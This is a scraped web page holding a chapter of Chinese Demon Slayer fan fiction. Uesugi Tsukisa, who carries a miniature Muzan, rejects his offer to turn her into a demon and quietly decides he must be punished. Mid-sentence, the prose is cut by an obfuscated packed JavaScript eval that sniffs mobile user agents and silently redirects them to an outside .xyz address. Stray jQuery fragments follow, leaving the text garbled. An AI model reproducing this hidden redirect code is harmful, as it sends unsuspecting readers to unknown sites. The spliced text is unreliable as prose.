123读书网 > 玄幻小说 > [鬼灭]她总是不死 > 18.无惨(五)
    听闻相熟的村民们全部惨死,花子并没有上杉月咲想象中的无法接受,她只是低着头,露出一个似哭似笑的表情。


    上杉月咲满肚子的安慰话又被吞了回去,她站在一旁,问道:“你和春子要和我一起走吗?我会送你们去一个安全的地方。”


    鬼杀队绝对是世界上最安全的地方。


    花子却摇了摇头:“谢谢老伯,但我和妹妹在这里出生,也在这里长大。爷爷从来没有离开过这里,如果可以,我们也希望留在这。”


    看到上杉月咲眼里的担忧,花子又安慰道:“那些逃兵不会再来村子里了,即便来了,我和春子会好好地躲起来,他们发现没什么粮食和钱财,自然也就回去了。”


    上杉月咲倒是能够理解花子不想离开的心情,有些人对故乡的眷念就是会很强的,更何况听春子说过,对她们很重要的爷爷还埋葬在这里。


    “那好吧。”上杉月咲点了点头,将心头的那点担心压下。


    就要出发了,上杉月咲特意带着无惨上了趟山,打回来很多野味,整齐存放在姐妹俩的房子里,现在气温低,倒是不用担心食物腐坏的事情。


    上杉月咲清点物资时发现姐妹俩居然还存了一些肉,她看了看,都腐坏了,于是小心埋在了屋旁。


    无惨打的那些野味,足够姐妹俩撑到身体好起来了。


    之后的日子,便要靠她们自己了。


    站在稍远一点的山头,上杉月咲朝几乎看不清的两个小点最后用力地挥着手,然后转身离去。


    现在是大白天,鬼舞辻无惨躲在她的身体里睡觉,这几天又是打猎又是砍柴又是摘草药,把尊贵的鬼王大人可给累坏了。


    上杉月咲顶着日光,微微眯眼,看向空中盘旋的一只乌鸦。


    那只乌鸦很安静,没有发出聒噪的嘎嘎声,只一个劲跟在她的头顶。


    上杉月咲集中注意力在自己的腹腔,能感受到鬼舞辻无惨睡得香甜又安稳,一点要醒来的迹象也没有。


    从兜里拿出一块彩色的帕巾围在了头上,那乌鸦见状,没多久就飞了下来。


    但它并没有靠近,只把什么东西丢在了上杉月咲伸出的手上。


    那是一张字条。


    仓促看完,上杉月咲拿指甲在上面抠出了一点痕迹,便又丢还给了乌鸦。


    乌鸦利落地抓住,带着纸条飞走了,羽翼轻展,悄无声息,在太阳照耀下五彩斑斓。


    鬼舞辻无惨的声音响起:“怎么了?”他揉着眼睛,睡意朦胧,外面阳光太足,他没有探出脑袋查看,只出声询问,疑惑于上杉月咲为何突然停步不前。


    “无惨少爷。”上杉月咲镇定回话,“太累啦,你瞧,我出了这么多汗,可以休息一会儿吗?”


    换平常,鬼舞辻无惨早已经一口拒绝了,并且还要嘲讽她现在连人类都不如。


    但这次,鬼舞辻无惨没有说话,沉默了几分钟后才别扭地说:“只准休息一会儿。”


    上杉月咲有些惊讶,立马寻了个树荫处坐了下来。


    冬日的太阳并不是很刺眼,树荫又严严实实地遮住了所有。


    鬼舞辻无惨反正也睡不着了,探出小胳膊小腿就要顺着上杉月咲的衣服往她肩膀上爬。


    上杉月咲伸手帮忙把小不点挪到了肩膀上,鬼舞辻无惨很满意她的眼力见,找个位置舒舒服服地坐下,顺带还点评了下:“你这丑丑的帕子顶在头上是干嘛?吓鬼吗?”


    上杉月咲笑笑:“太阳有点大呢,我晒得脑袋晕,拿帕子遮一遮。”


    鬼舞辻无惨哼一声:“你可真弱。”然后又开始说起鬼有多好多好,劝上杉月咲赶紧弃暗投明。


    上杉月咲全程笑眯眯听着,时不时还点头表示赞许,无惨忍不住期待地问:“怎么样?要我帮你进化吗?”


    不知道为什么,他特别希望上杉月咲化鬼。


    只可惜,对方的回答迅速而果断:“不要。”


    勾起的嘴角迅速落下,鬼舞辻无惨看向上杉月咲的侧脸,隔着这具年迈的男性皮囊,他似乎看到了几百年前的上杉医生,美丽脆弱而执拗。


    “为什么?”鬼舞辻无惨不解。


    上杉月咲叹了口气:“我只想做一个生命短暂的人类。”


    “宁做短暂之人,也不愿化永恒之鬼吗?”无惨有些恨铁不成钢的恼怒。


    上杉月咲:“少爷,永生真的是祝福吗?在我看来,这更像是诅咒。现如今的我,跟永生并没有什么区别了,可我宁愿过以前有血有肉知伤知痛的日子。”


    鬼舞辻无惨冷笑:“你的意思是说,我就该老老实实在那间破屋子里无能而脆弱地当一个人类吗?”


    上杉月咲:“不是这样的,少爷。成为鬼的确会拥有无穷的力量,可是在我没有力量的时候,也没有人欺辱我,我帮助他们,他们爱戴尊敬我都来不及。”


    “因此血鬼术这样的力量于我而言实在是有些鸡肋了,我是绝对不会为了这种东西而放弃人类的身份的。”


    鬼舞辻无惨:“你们人类真是一个模样,总在自娱自乐地歌颂弱小,什么勇气,什么亲情,什么羁绊,都是脆弱到可以轻松抹杀掉的东西。他们不欺辱你,是因为你对他们有用,而我所追寻的是绝对的服从!生命永远只会因永恒而完美,因强大而自由!”


    “可是,成为了鬼便要离群索居,还要面对鬼杀队无穷无尽的追杀。”说到这里,上杉月咲眼中充满敬重,“比起擅长破坏和掠夺的鬼,我更欣赏明知必死仍往矣的鬼杀队的人类们。”


    “我会向你证明的,上杉医生。”鬼舞辻无惨眼中充满了失望,“你所看重的东西,在绝对的力量面前只不过是连尘埃都不如的渣滓罢了。”


    “赶路吧。”鬼舞辻无惨失去了说话的兴趣。


    是他的错,居然妄想和蝼蚁对话。


    上杉月咲将鬼舞辻无惨捧在手心,看向一言不发的小不点,她明白,她说的那些话语一丝用处也没有。


    产屋敷少爷的一生除了生病,可以算


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105330|179047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得上是顺风顺水,因为病重,所以受宠,因为受宠,所以所有人都顺着他。


    他说月亮是方的,绝没人敢说是圆的。


    最该起到引导作用的父母,却是一味溺爱,从不打骂。


    上杉月咲曾天真地想过,会不会只要好好沟通,鬼王也可以幡然醒悟。


    而刚刚纸条上缘一写下的话再次给了她答案。


    或许她从一开始就没有对无惨尚有人性这种事情抱有期待,因此一次次收到他吃人的消息,她也并没有丝毫意外。


    因为她的异想天开,又有好几个人成为了鬼的口中食。


    他必须受到惩罚。


    她已经不再想要说服无惨,刚刚的对话只是为了让无惨明白,他们永远不会在一个阵营内,因此他大可以收回所有他自以为是的善意。


    这样,在最终讨伐时,她便不会不忍心了。


    上杉月咲将鬼舞辻无惨送到了洞口内,语气没有任何异常,甚至充满轻快:“少爷,那我们这就出发吧。”


    ——


    一人一鬼的最终目的地是上杉月咲老师的住处。


    这里古籍多,上杉月咲认为一定是上次她没有翻找仔细,才会得出半成品的药方,只要这次再研究研究,一定能找到可以让鬼舞辻无惨变回人的办法。


    而无惨,他只想拿到上杉月咲之前的药方。


    当年为了安度晚年,老师特意挑了个没什么人烟的山头,那条通往住处的小径也因为几百年来没人来往而被植物侵占。


    上杉月咲领着鬼舞辻无惨打了好几个转,都没能找到通往山上的路。


    无惨不耐烦地挥了挥手,拦在眼前的树齐刷刷倒下,开辟出一条显眼的路来。


    道路尽头,是一座砖石砌成的屋子,四四方方,高大的围墙密不透风,和无惨常见的开放式的木屋居所完全不同。


    只是毕竟太多年了,那围墙上的砖红色的漆脱落,斑驳陆离。


    “我老师是天朝人。”上杉月咲看出了鬼舞辻无惨的困惑,“那里的建筑和这儿不太一样。”


    大门禁闭着,上杉月咲费力地推开,发出年久失修的吱吱嘎嘎声,听得无惨皱起了眉头。


    上杉月咲站在熟悉又陌生的院子里,看向左侧那棵巨大的梧桐树。


    当年老师就是因为喜欢这棵梧桐才定居在这里的,这棵树承载了上杉月咲太多的回忆,每日起居学习用餐,都是在这棵树下的石板桌上。


    现如今,那石板桌因为暴露在风雨中太多年,整个桌面坍塌斜斜立在地上,缘侧有着不同程度的层状剥落。


    上杉月咲轻轻抚过这张石桌,带着鬼舞辻无惨走进了里屋。


    “你很喜欢那张桌子?”鬼舞辻无惨坐在上杉月咲肩膀上,收回视线,面露不解,“好普通的用料和样式。”


    上杉月咲只是笑笑,话不投机半句多,鬼和人之间的代沟,比人和面包的还大。


    感受到了上杉月咲的敷衍,鬼舞辻无惨啧了一声。